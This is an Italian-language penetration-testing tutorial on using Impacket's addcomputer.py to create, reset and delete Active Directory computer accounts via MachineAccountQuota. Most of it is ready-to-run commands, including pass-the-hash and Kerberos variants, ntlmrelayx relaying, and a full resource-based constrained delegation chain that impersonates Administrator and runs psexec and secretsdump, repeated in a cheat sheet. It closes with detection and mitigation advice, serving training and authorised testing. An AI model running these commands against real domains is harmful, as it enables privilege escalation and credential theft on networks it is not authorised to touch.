Come creare computer account Active Directory con addcomputer.py #

addcomputer.py fa parte di Impacket e crea, elimina o reimposta la password di un computer account in Active Directory, usando credenziali spesso low-privilege grazie a ms-DS-MachineAccountQuota. Il computer account creato è raramente un fine in sé — il caso d’uso più comune di gran lunga è RBCD, ma può tornare utile anche in alcune catene di relay LDAP, AD CS o SCCM a seconda dei permessi ottenuti lungo la strada.

Riferimento ufficiale: fortra/impacket — addcomputer.py MITRE ATT&CK: T1136.002 — Create Account: Domain Account

MachineAccountQuota — perché funziona con credenziali low-priv #

ms-DS-MachineAccountQuota è un attributo di dominio che controlla quanti computer account può creare un utente autenticato. Il valore predefinito è 10. Ma il risultato reale dipende da più fattori insieme, non solo dal valore di MAQ:

• il privilegio SeMachineAccountPrivilege (“Add workstations to domain”)
• i permessi di creazione sul container o sulla OU di destinazione
• eventuali deleghe personalizzate
• il numero di oggetti già creati da quello stesso utente, tracciato tramite msDS-CreatorSID

Anche con MAQ = 0, un account con permesso delegato “Create Computer Objects” su una OU specifica può comunque creare computer account — non serve automaticamente un admin di dominio.

# Verifica MachineAccountQuota
nxc ldap 10.10.10.5 -u user -p pass -M maq

# oppure via ldapsearch
ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
  -b "DC=hackita,DC=local" "(objectclass=domain)" ms-DS-MachineAccountQuota

Sintassi e opzioni reali #

impacket-addcomputer [opzioni] dominio/utente[:password]

Su -computer-group: non aggiunge il computer a un gruppo di sicurezza — è il DN del container o della OU dove l’oggetto viene creato (es. OU=Workstations,DC=hackita,DC=local), e conta solo nel metodo LDAPS. Con SAMR (il metodo di default) questa opzione non ha alcun effetto sul posizionamento dell’oggetto.

Sul $ finale: il codice controlla se il nome fornito termina già con $ e lo aggiunge solo se manca. HACKITA ed HACKITA$ producono entrambi HACKITA$ — non esiste un caso di duplicazione HACKITA$$.

Su Kerberos: se usi -k senza specificare -dc-host, il tool si ferma subito con Kerberos auth requires DNS name of the target DC. Use -dc-host. — non è opzionale in questo scenario.

Utilizzo pratico #

Creazione base — metodo SAMR (default, porta 445) #

impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA$' \
  -computer-pass 'HackitaPass123!' \
  -dc-ip 10.10.10.5

# Output: Successfully added machine account HACKITA$ with password HackitaPass123!

Senza specificare nome o password #

# Genera nome casuale (DESKTOP-XXXXXXXX$) e password casuale (32 caratteri)
impacket-addcomputer hackita.local/user:Password123 -dc-ip 10.10.10.5

Il tool stampa entrambi i valori generati nell’output — salvali subito, ti servono per autenticarti come quel computer account.

Creazione via LDAPS (porta 636) #

Non è “necessaria quando SMB signing blocca SAMR” — SMB signing protegge l’integrità della sessione, non impedisce l’uso di RPC/SAMR. LDAPS diventa un’alternativa reale quando:

• la porta 445/139 è filtrata ma la 636 è raggiungibile
• l’accesso SAMR è limitato da policy (RestrictRemoteSAM)
• vuoi controllare esplicitamente l’OU di destinazione
• ti serve che il tool imposti direttamente dNSHostName e gli SPN (vedi sezione dedicata sotto)

Richiede che il DC esponga LDAP su TLS con un certificato utilizzabile — se manca, questo metodo semplicemente non funziona.

impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA_ATTACKER$' \
  -computer-pass 'HackitaAttPass123!' \
  -method LDAPS \
  -dc-ip 10.10.10.5

Creare il computer in una OU specifica (solo LDAPS) #

impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA$' \
  -computer-pass 'HackitaPass123!' \
  -method LDAPS \
  -computer-group 'OU=Workstations,DC=hackita,DC=local' \
  -dc-ip 10.10.10.5

Con il metodo SAMR di default, -computer-group non ha alcun effetto — l’oggetto finisce comunque dove SAMR lo posiziona di default.

Pass-the-Hash #

impacket-addcomputer -hashes :NThash hackita.local/user \
  -computer-name 'HACKITA$' \
  -computer-pass 'HackitaPass123!' \
  -dc-ip 10.10.10.5

Kerberos — -dc-host obbligatorio #

export KRB5CCNAME=/path/to/ticket.ccache

impacket-addcomputer -k -no-pass hackita.local/user \
  -computer-name 'HACKITA$' \
  -computer-pass 'HackitaPass123!' \
  -dc-host dc01.hackita.local \
  -dc-ip 10.10.10.5

Con chiave AES:

impacket-addcomputer -aesKey AES256KeyQui hackita.local/user \
  -computer-name 'HACKITA$' \
  -computer-pass 'HackitaPass123!' \
  -dc-host dc01.hackita.local

Reimpostare solo la password (-no-add) #

-no-add non modifica SPN, dNSHostName, gruppi o altri attributi — imposta soltanto una nuova password su un computer account già esistente.

impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA$' \
  -computer-pass 'NuovaPassword123!' \
  -no-add \
  -dc-ip 10.10.10.5

Elimina il computer account #

impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA$' \
  -dc-ip 10.10.10.5 \
  -delete

SAMR e LDAPS non creano lo stesso oggetto #

Questa è la differenza più importante da capire prima di scegliere il metodo.

Il metodo SAMR crea l’oggetto tramite hSamrCreateUser2InDomain e imposta password e userAccountControl, ma non tocca dNSHostName né registra alcun SPN. Il metodo LDAPS invece scrive direttamente questi attributi in fase di creazione.

Di conseguenza, l’affermazione generica “il computer account ha SPN registrati di default” è falsa per il metodo SAMR. Verifica sempre servicePrincipalName e dNSHostName dopo la creazione, con lo stesso metodo che userai per il resto della catena:

ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
  -b "DC=hackita,DC=local" "(sAMAccountName=HACKITA$)" \
  sAMAccountName distinguishedName dNSHostName servicePrincipalName userAccountControl pwdLastSet msDS-CreatorSID

Workflow RBCD — il caso d’uso principale #

Il flusso completo è in RBCD e getST.py.

# STEP 1 — Verifica MAQ
nxc ldap 10.10.10.5 -u user -p pass -M maq

# STEP 2 — Verifica GenericWrite/GenericAll su un target
# (da BloodHound → hackita.it/articoli/bloodhound)

# STEP 3 — Crea computer account controllato
impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'RBCD_HACKITA$' \
  -computer-pass 'RBCDPass123!' \
  -dc-ip 10.10.10.5

# STEP 4 — Configura RBCD: RBCD_HACKITA$ può delegare su TARGET$
impacket-rbcd -delegate-from 'RBCD_HACKITA$' -delegate-to 'TARGET$' \
  -action write -dc-ip 10.10.10.5 hackita.local/user:Password123

# STEP 5 — getST per impersonare Administrator su TARGET
impacket-getST \
  -spn cifs/TARGET.hackita.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.5 \
  hackita.local/'RBCD_HACKITA$':'RBCDPass123!'

# STEP 6 — Usa il ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local
impacket-secretsdump -k -no-pass hackita.local/Administrator@TARGET.hackita.local

# STEP 7 — Cleanup COMPLETO: prima rimuovi la delega RBCD...
impacket-rbcd -delegate-from 'RBCD_HACKITA$' -delegate-to 'TARGET$' \
  -action remove -dc-ip 10.10.10.5 hackita.local/user:Password123

# ...POI elimina il computer account
impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'RBCD_HACKITA$' -dc-ip 10.10.10.5 -delete

Il cleanup non finisce con -delete. msDS-AllowedToActOnBehalfOfOtherIdentity è un security descriptor scritto sul computer target, non sull’account che elimini — cancellare RBCD_HACKITA$ non rimuove automaticamente la delega configurata su TARGET$. Rimuovi sempre prima l’ACE RBCD con rbcd.py -action remove, poi elimina il computer account creato.

Workflow ntlmrelayx — alternativa automatica #

ntlmrelayx.py con --delegate-access fa tutto questo automaticamente durante un relay LDAPS — crea il computer account, configura RBCD, e stampa le credenziali in un solo passaggio. addcomputer.py serve quando vuoi ottenere lo stesso risultato manualmente, con credenziali dirette invece di un relay attivo.

# Automatico (relay)
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access -smb2support

# Manuale (con credenziali)
impacket-addcomputer hackita.local/user:Password123 \
  -computer-name 'HACKITA$' -computer-pass 'Pass123!' -dc-ip DC_IP
# → poi configura RBCD manualmente con rbcd.py

Alternative operative #

# bloodyAD
bloodyAD -u user -p 'pass' -d hackita.local --host 10.10.10.5 add computer 'hackita$' 'HackitaPass123!'

# Certipy
certipy account create -u 'user@hackita.local' -p 'pass' -dc-ip 10.10.10.5 -user 'hackita$' -pass 'HackitaPass123!'

PowerMad (New-MachineAccount) è l’equivalente PowerShell nativo, utile quando operi già da un host Windows dominio-joined senza voler introdurre Impacket nella catena. ldeep offre lo stesso risultato via ldeep ldap create_computer, se preferisci uno strumento LDAP-centrico già in uso per altre enumerazioni.

Cosa puoi fare con un computer account — e cosa NON puoi dare per scontato #

Un computer account che controlli è membro di Domain Computers e può autenticarsi al dominio, ma questo non significa automaticamente:

• che sia amministratore locale su qualche host
• che possa accedere a share amministrative
• che possa usare WinRM
• che tool pensati per account utente funzionino allo stesso modo con un’identità macchina

Vede solo le risorse concesse esplicitamente alla sua identità o al gruppo Domain Computers. Una connessione riuscita con NetExec dimostra solo che l’autenticazione funziona, non che tu abbia accesso privilegiato.

Errori comuni #

Detection e mitigazioni #

Mitigazioni:

• Impostare ms-DS-MachineAccountQuota a 0 se il domain join self-service non serve
• Rimuovere SeMachineAccountPrivilege dagli utenti generici
• Delegare la creazione di computer object solo su OU specifiche, con permessi tracciabili
• Monitorare periodicamente msDS-CreatorSID per identificare pattern di creazione anomali
• Monitorare modifiche a servicePrincipalName, dNSHostName e soprattutto msDS-AllowedToActOnBehalfOfOtherIdentity
• Nomi macchina che non seguono la convenzione di provisioning aziendale sono un segnale concreto da controllare

Cheat Sheet #

# Crea computer account (SAMR — default)
impacket-addcomputer hackita.local/user:pass \
  -computer-name 'HACKITA' -computer-pass 'HackitaPass123!' -dc-ip DC_IP

# Crea via LDAPS, con OU specifica
impacket-addcomputer hackita.local/user:pass \
  -computer-name 'HACKITA' -computer-pass 'HackitaPass123!' \
  -method LDAPS -computer-group 'OU=Workstations,DC=hackita,DC=local' -dc-ip DC_IP

# Pass-the-Hash
impacket-addcomputer -hashes :NThash hackita.local/user \
  -computer-name 'HACKITA' -computer-pass 'HackitaPass123!' -dc-ip DC_IP

# Kerberos (richiede -dc-host)
impacket-addcomputer -k -no-pass hackita.local/user \
  -computer-name 'HACKITA' -computer-pass 'HackitaPass123!' \
  -dc-host dc01.hackita.local -dc-ip DC_IP

# Verifica MAQ
nxc ldap DC_IP -u user -p pass -M maq

# Reimposta solo la password
impacket-addcomputer hackita.local/user:pass \
  -computer-name 'HACKITA' -computer-pass 'NuovaPass!' -no-add -dc-ip DC_IP

# Elimina (cleanup)
impacket-addcomputer hackita.local/user:pass -computer-name 'HACKITA' -dc-ip DC_IP -delete

# Workflow RBCD completo
# 1. addcomputer → crea HACKITA$
# 2. rbcd.py -action write -delegate-from HACKITA$ -delegate-to TARGET$
# 3. getST -spn cifs/TARGET -impersonate Administrator hackita.local/'HACKITA$':'pass'
# 4. export KRB5CCNAME=Administrator.ccache → psexec / secretsdump
# 5. rbcd.py -action remove → PRIMA rimuovi la delega
# 6. addcomputer -delete → POI elimina il computer account

Articoli correlati #

• Impacket: suite completa
• RBCD — Resource-Based Constrained Delegation
• getST.py
• ntlmrelayx.py
• Shadow Credentials
• BloodHound
• SeMachineAccountPrivilege / MachineAccountQuota
• ldapsearch
• bloodyAD
• Certipy
• Pass-the-Hash

Uso esclusivo in ambienti autorizzati.